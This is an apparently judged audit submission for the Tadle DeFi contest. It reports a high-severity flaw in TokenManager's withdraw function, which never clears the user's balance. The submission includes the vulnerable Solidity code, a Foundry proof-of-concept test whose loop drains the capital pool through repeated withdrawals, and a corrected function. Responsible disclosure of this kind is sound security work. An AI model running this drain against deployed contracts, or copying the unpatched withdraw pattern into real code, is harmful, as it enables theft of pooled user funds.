Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Unrestricted Repeated Withdrawals Due to Missing Balance Update

Summary

The withdraw function in the TokenManager contract does not correctly update user balances after a withdrawal. This oversight allows users to repeatedly withdraw the same balance, leading to a situation where malicious actors can drain the entire capital pool.

Vulnerability Details

Lack of Balance Update in withdraw Function:

The withdraw function does not decrement the user’s balance after a successful withdrawal. This omission permits repeated withdrawals of the same balance.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

Exploit Scenario:

A malicious actor can repeatedly call the withdraw function, withdrawing the same balance multiple times without it being decremented. This can lead to the complete drainage of the capital pool.

Impact

This vulnerability enables malicious users to withdraw more funds than their balance should allow, potentially draining the entire capital pool and leading to significant financial losses for the platform and other users.

Proof-of-Concept: Two tests were created to demonstrate the issue:

Repeated Withdrawals: Verified that the same user can withdraw the same balance more than once.
Pool Drainage: Demonstrated that a malicious actor can deplete the entire capital pool by repeatedly calling the withdraw function.

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {OfferStatus, StockStatus, AbortOfferStatus, OfferType, StockType, OfferSettleType} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
contract PreMarketsTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address user = vm.addr(1);
address user1 = vm.addr(2);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR =
bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
// Deploy mocks
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(user1);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(
INITIALIZE_OWNERSHIP_SELECTOR,
user1
);
vm.startPrank(user1);
address systemConfigProxy = tadleFactory.deployUpgradeableProxy(
1,
address(systemConfigLogic),
bytes(deploy_data)
);
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(
2,
address(preMarktesLogic),
bytes(deploy_data)
);
address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(
3,
address(deliveryPlaceLogic),
bytes(deploy_data)
);
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(
4,
address(capitalPoolLogic),
bytes(deploy_data)
);
address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(
5,
address(tokenManagerLogic),
bytes(deploy_data)
);
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
// Initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
systemConfig.createMarketPlace("Backpack", false);
// Simulate capital pool approval
capitalPool.approve(address(mockUSDCToken));
vm.stopPrank();
deal(address(mockUSDCToken), user, 100000000 * 10 ** 18);
deal(address(mockPointToken), user, 100000000 * 10 ** 18);
deal(user, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 1000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
// Ensure the capital pool has enough tokens
deal(address(mockUSDCToken), capitalPoolProxy, 100000 * 10 ** 18);
}
function testRepeatedWithdrawals() public {
uint256 initialUser2Balance = mockUSDCToken.balanceOf(user2);
// Add balance to user2
vm.prank(address(preMarktes));
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash, // Use correct enum value
user2,
address(mockUSDCToken),
1000 ether
);
// First withdrawal by user2
vm.prank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
uint256 afterFirstWithdrawalBalance = mockUSDCToken.balanceOf(user2);
assertEq(afterFirstWithdrawalBalance, initialUser2Balance + 1000 ether, "First withdrawal should succeed");
// Repeated withdrawal attempt by user2
vm.prank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
uint256 afterSecondWithdrawalBalance = mockUSDCToken.balanceOf(user2);
assertEq(afterSecondWithdrawalBalance, afterFirstWithdrawalBalance, "Second withdrawal should not succeed");
console2.log("Repeated withdrawal test: Completed");
}
function testPoolDrainageByBadActor() public {
uint256 initialUser2Balance = mockUSDCToken.balanceOf(user2);
uint256 initialCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("Initial User2 Balance: ", initialUser2Balance);
console2.log("Initial Capital Pool Balance:", initialCapitalPoolBalance);
// Add balance to user2
vm.prank(address(preMarktes));
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash, // Use correct enum value
user2,
address(mockUSDCToken),
1000 ether
);
console2.log("Added 1000 ether to User2 balance");
// Attempt to drain the capital pool
uint256 cumulativeWithdrawAmount = 0;
uint256 maxWithdrawAttempts = 1000;
for (uint256 i = 0; i < maxWithdrawAttempts && cumulativeWithdrawAmount < initialCapitalPoolBalance; ++i) {
uint256 user2BalBefore = mockUSDCToken.balanceOf(user2);
uint256 capitalPoolBalBefore = mockUSDCToken.balanceOf(address(capitalPool));
vm.prank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
uint256 user2BalAfter = mockUSDCToken.balanceOf(user2);
uint256 capitalPoolBalAfter = mockUSDCToken.balanceOf(address(capitalPool));
cumulativeWithdrawAmount += 1000 ether;
// console2.log("Withdraw Attempt:", i + 1);
// console2.log("User2 Balance Before:", user2BalBefore, " After:", user2BalAfter);
// console2.log("Capital Pool Balance Before:", capitalPoolBalBefore, " After:", capitalPoolBalAfter);
// console2.log("Cumulative Withdraw Amount:", cumulativeWithdrawAmount);
}
uint256 afterDrainUser2Balance = mockUSDCToken.balanceOf(user2);
uint256 afterDrainCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
// Verify the user's balance increased by the cumulative withdrawal amount
assertGe(afterDrainUser2Balance, initialUser2Balance + cumulativeWithdrawAmount - 1000 ether, "User balance should reflect drained amount");
// Verify the capital pool was drained
assertLe(afterDrainCapitalPoolBalance, initialCapitalPoolBalance, "Capital pool balance should reflect the total drained amount");
console2.log("Final User2 Balance: ", afterDrainUser2Balance);
console2.log("Final Capital Pool Balance: ", afterDrainCapitalPoolBalance);
console2.log("Total Drained Amount: ", cumulativeWithdrawAmount);
console2.log("Pool drainage by bad actor test: Completed");
}
}

Tools Used

Foundry

Recommendations

Update User Balances After Withdrawal:

Include a balance decrement operation within the withdraw function to accurately reflect the user's available balance after a withdrawal.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
// Decrement the balance to prevent repeated withdrawals
userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimAbleAmount;
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!